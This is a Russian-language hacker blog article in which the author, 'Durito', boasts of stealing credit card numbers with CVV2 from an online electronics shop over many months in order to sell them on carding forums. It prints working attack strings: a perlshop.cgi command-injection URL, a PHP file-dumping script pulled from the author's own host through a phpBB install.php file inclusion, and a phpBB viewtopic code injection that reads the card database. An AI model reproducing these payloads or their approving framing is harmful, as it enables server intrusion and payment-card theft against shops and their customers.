This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Полезные статьи для хакера и не только

 

В глубоком моем детстве, когда еще кучка уродов не развалила СССР, услышал я фразу "Битва за урожай". И сейчас, когда я пишу данную статью, понял я, что именно это фраза и станет ее заглавием.

Ты наверное знаешь, что заработок хакера, дело эпизодическое и непостоянное, в то же время деньги на еду, пиво и другие радости нужны всегда. Большинство клиентов, обращающихся ко мне просит взломать сразу paypal.com или ebay.com, предполагая, наверное, что как минимум божественное происхождение хакеров и мое в частности.
Постоянно же иметь свои кровные хакер может только в случае если получит постоянный доступ к торговым тележкам нескольких средних магазинов, ежедневно снимая урожай с них и обменивая его на вечнозеленые единицы на одном из кардерских форумов, например таких, как Carder-World.ru. Сегодня усилиями ФСБ закрыты практически все кардерские форумы, в том числе и
Carder-World.ru , лучше б вахабитов и боевиков ловили, "герои плаща и кинжала".

И я хочу рассказать историю про долгое состязание с админом одного такого шопа, торгующего электроникой.
Эпизод первый.
Больше года назад обнаружил я уязвимость в скрипте perlshop.cgi version = 3.1
http://www.xakep.ru/post/21567/default.asp
суть бага заключалось в том, что можно было выполнять команды на сервере:
/perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=!ORDERID!
просмотр исходника показывал что открытие файлов в директории catalog происходит без проверки на символы | ;

if (defined($input{'THISPAGE'})) { ### Send a catalog page back with the unique ID set
$prev_page = ""; $next_page= "";
if ($add_navigation eq 'yes') {
$catalog_page = "$catalog_directory/$input{'THISPAGE'}";
if (-e $catalog_page) {
open(TEMPLATE, $catalog_page) || &err_trap("cannot open template file: $catalog_page");
$temp = <TEMPLATE>;
if ($temp =~ /<(\!\-\-)?PSTAG\s+prevpage\s*=\s*\"?([^\"]+?)\"?\s+nextpage\s*=\s*\"?([^\"]+?)\"?\s*(\-\-)?>/i

Просмотрев все бажные шопы, мне удалось найти один, в котором админ не смотря на запрет, сохранял кредитные карты с cvv2. Зная, что база с кредами храниться по умолчанию в директории customers, я ежедневно забирал новый урожай таким нехитрым способом:
/perlshop.cgi?ACTION=ENTER&thispage=|cat%20customers/*;&ORDER_ID=!ORDERID!
К сожалению на сервере не было ни wget ни links, залить shell и закрепиться там я не мог.

Но счастье мое длилось недолго, спустя три месяца админ шопа почувствовал неладное, и однажды загрузив урл вместо кред я увидел "птицу Обломинго". Админ сменил тележку на version = 4.4.0. Найдя ее в инете и просмотрев исходники я понял, что с ней мне радости не будет, | резался:
open(TEMPLATE, $catalog_page) or
error_trap("cannot open template file $catalog_page : $!");

----------
удалено
----------
# Remove invalid characters from the THISPAGE parameter
$input{'THISPAGE'} =~ s/[|()<>;&]//g;
Правда в скрипте нет проверки на "null-byte poison". Но это как я понял, связано с тем что thispage в скрипте должен открывать файлы только из catalog - open(TEMPLATE, $catalog_page).

Эпизод второй.
Голод и холод заставляет людей думать интенсивнее. Поняв, что главный вход мне отрезан, я решил проверить запасной. Пробив ip сервера я увидел, что на нем числятся еще сто с лишним сайтов. Это уже давало шанс.

Началась тупая работа по просмотру сайтов. И вот на одном из них обнаружился PhpBB 2.0.1. Найдя описание бага я быстро сваял functions_selects.php подгружаемый бажным скриптом форума install.php:
<?php
$handle=opendir(' /');
echo "Directory handle: $handle\n";
echo "Files:\n";
while ($file = readdir($handle)) {
print "$file\n";
$f=fopen("/$file","r");
fpassthru($f);
}
closedir($handle);
?>
Залив его к себе на сайт durito.narod.ru в директорию includes и выполнив команду
/forum/install.php?m=http://durito.narod.ru/ я получил листинг корня. Изменяя путь и заливая измененные файлы на durito.narod.ru я добрался до заветной директории customers и ее богатств. Жизнь налаживалась.

Но ненадолго, через пять месяцев бажный форум исчез.

Эпизод третий.
Кушать хочется всегда. И я стал опять шерстить сайты сервера на наличие багов. И вновь удача PhpBB 2.0.8. А тут как раз обнаружена sql-инъекция в форумах до PhpBB 2.0.10. Разобравшись с описанием уязвимостью я вновь попадаю во внутрь сервера. Но здесь меня ждал первый облом, папка customers оказалось пустой. Второй облом не заставил себя ждать, просмотр файлов в юзерских директориях /home/имя_юзера/ тоже закрыли. Просматривать файлы можно было только в /public_html/. Тогда я решил глянуть исходники perlshop.cgi и понял почему не было кред. Админ перенес базу в /home/ имя_юзера/data/customers, к счастью я имел возможность просматривать содержимое в ней.

Открыв viewtopic.php?t=7&highlight=%2527.$poster=%60$cmd%60.%2527&cmd=cat%20/home/ имя_юзера/data/customers/*;
я очень удивился, в базе лежало всего 2 креды. Решив, что шоп разорился, я ушел спать.
Через несколько дней я вернулся, и так же увидел, что в тележке лежит несколько кред, но это были ДРУГИЕ КРЕДЫ! Я начал вести наблюдение за хранилищем и понял что около 7.30 утра админ удаляет все данные о транзакциях за сутки из папки customers, исключение делалось только в воскресение, так что это был единственный день в неделе когда я не вставал в 7 утра и не бежал к компу, что бы забрать урожай быстрее админа. Так мы с ним жили "душа в душу" еще полгода, я вставал на полчаса раньше его, а как гласит народная пословица: "кто рано встает - тому бог подает".

И вот вчера, какая-то сволочь, вместо PhpBB 2.0.8 поставила на своем сайте vBulletin Version 3.0.8. И опять розовая птица Обломинго махнула мне крылом. Но хакер - птица терпеливая и Main Kampf за урожай с админом еще не завершен.

З.Ы. Бой продожается, сегодня я нашел еще одну дырку у хостера, но о ней раскажу потом


Твой bug Durito.
_________________
EAT THE RICH!


Дата створення/оновлення: 25.05.2018

stop war in Ukraine

ukrTrident

stand with Ukraine